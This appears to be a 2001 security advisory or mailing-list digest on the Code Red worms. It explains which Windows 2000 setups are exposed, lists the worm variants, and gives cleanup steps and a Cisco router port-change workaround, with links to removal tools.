Personal Web Manager --> %SystemRoot%\system32\inetsrv\pws.exe
Internet Services Manager --> %SystemRoot%\System32\Inetsrv\iis.msc
Neither PWS or IIS are installed by default on a W2K Professional
**CLEAN INSTALL**. If a Windows NT 4.0 Workstation box with
Personal Web Server installed is upgraded to Windows 2000
Professional, then by default IIS 5.0 will be installed. When
IIS is on a W2K Professional box, by default, it has .ida and
.idq script mappings in place and IDQ.DLL is there too. So, if
they aren't patched, or the MMC Snap-in isn't used to remove the
mappings (you can't remove the mappings through PWM), then the
box can be infected and will participate in Code Red attacks.
IIS is also installed by default on W2K Professional boxes if you
install Visual Studio's Visual Interdev. Its used to test/create
web applications.
Other reports are indicating that a new variant of Code Red has
been uncovered in Korea. For the record, here is the numbering
using:
CRv1 = July 13th, 2001 - in the wild
CRv2 = July 19th, 2001 - in the wild
CRv3 = July 21st, 2001 - reportedly with FBI/NIPC - not in the wild
CRv4 = August 4th, 2001 - in the wild
CRv4 had the string CRII embedded in its code, so it became known
as Code Red II, hence the confusion of versions/variants.
CRv4 had a component which caused it to double its effects on
Chinese Language W2K systems. It would produce 600 threads and
run for 48 hours. Its suspected that this may be the reason the
Korean Government is thinking its seeing another variant other
than what's being discussed in the press.
SOLUTION
If the Trojan has been run, then you should consider the box
totally compromised and reformat after removing data (not
executables). There's no real way to be sure of anything on a
box upon which the Trojan has run and succeeded in its effect
(added the two virtual web directories and disabled System File
Checking).
If it hasn't been run, the system should be in good shape. Check
the registry key for SFCDisable and remove the ROOT.EXE's from
the two directories.
For cisco 677 and 678 routers (and 675) being crashed by the
codered worm. Here is how to avoid it if not patch it:
- telnet to the router
- password
- enable
- password
- set web port 28000
- write
- reboot
This should pretty much make the worm a non issue for any of the
675, 677 or 678 routers it's crashing regardless of what version
of cbos they are running. Chech following:
http://www.cisco.com/warp/public/707/cisco-cbos-webserver-pub.shtml
Microsoft posted on their web site a tool that can be used to
clean up the obvious effects of the Code Red II worm. The tool
performs the following operations:
- It removes the malicious files installed by the worm
- It reboots the system to clear the hostile code from memory
- It removes the mappings that the worm is currently known to
install
- For systems where IIS was enabled, but not in use, it provides
an option to permanently disable IIS on the server.
The tool and instructions for its use can be found at
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/tools/redfix.asp
Because of potential timing issues caused by the way the worm
operates, the tool should be run a second time after the reboot.
Code Red Cleaner first try to detect if Code Red Worm is active in
memory and report it. After that if worm is discovered it finds
files of worm on the disk and clean-all them. It stops the IIS,
removes the execute permission of some directories on registry
and if sp2 is installed it applies the appropriate patches. It
detects Code Red I,II,III versions and clean up them:
http://www.tamersahin.net/downloads/cr.zip